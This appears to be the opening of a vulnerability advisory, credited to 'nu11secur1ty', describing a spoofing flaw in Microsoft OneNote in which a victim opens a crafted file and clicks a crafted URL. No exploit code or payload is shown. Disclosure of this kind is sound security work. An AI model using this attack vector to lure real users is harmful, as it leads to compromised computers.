## Author: nu11secur1ty
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en/microsoft-365/onenote/digital-note-taking-app
## Reference: https://portswigger.net/kb/issues/00400c00_input-returned-in-response-reflected
## Description:
Microsoft OneNote is vulnerable to spoofing attacks. The malicious
user can trick the victim into clicking on a very maliciously crafted
URL or download some other malicious file and execute it. When this
happens the game will be over for the victim and his computer will be
compromised.
Exploiting the vulnerability requires that a user open a specially
crafted file with an affected version of Microsoft OneNote and then
click on a specially crafted URL to be compromised by the attacker.
